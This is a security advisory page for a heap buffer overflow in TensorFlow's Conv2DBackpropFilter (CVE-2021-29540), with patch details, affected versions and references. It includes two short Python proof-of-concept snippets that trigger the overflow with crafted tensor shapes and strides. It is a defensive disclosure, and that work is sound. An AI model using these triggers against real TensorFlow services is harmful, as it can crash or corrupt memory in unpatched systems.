Heap buffer overflow in `Conv2DBackpropFilter`
Impact
An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:
import tensorflow as tf
input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
Alternatively, passing empty tensors also results in similar behavior:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
Patches
We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xgc3-m89p-vr3x
- https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96
- https://nvd.nist.gov/vuln/detail/CVE-2021-29540
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-468.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-666.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-177.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-120, CWE-787- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-177 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-468 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-666 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-xgc3-m89p-vr3x - CC BY 4.0
Vulnerability history: tensorflow-gpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 427
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 109
- Medium 207
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
Heap buffer overflow in `Conv2DBackpropFilter` this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.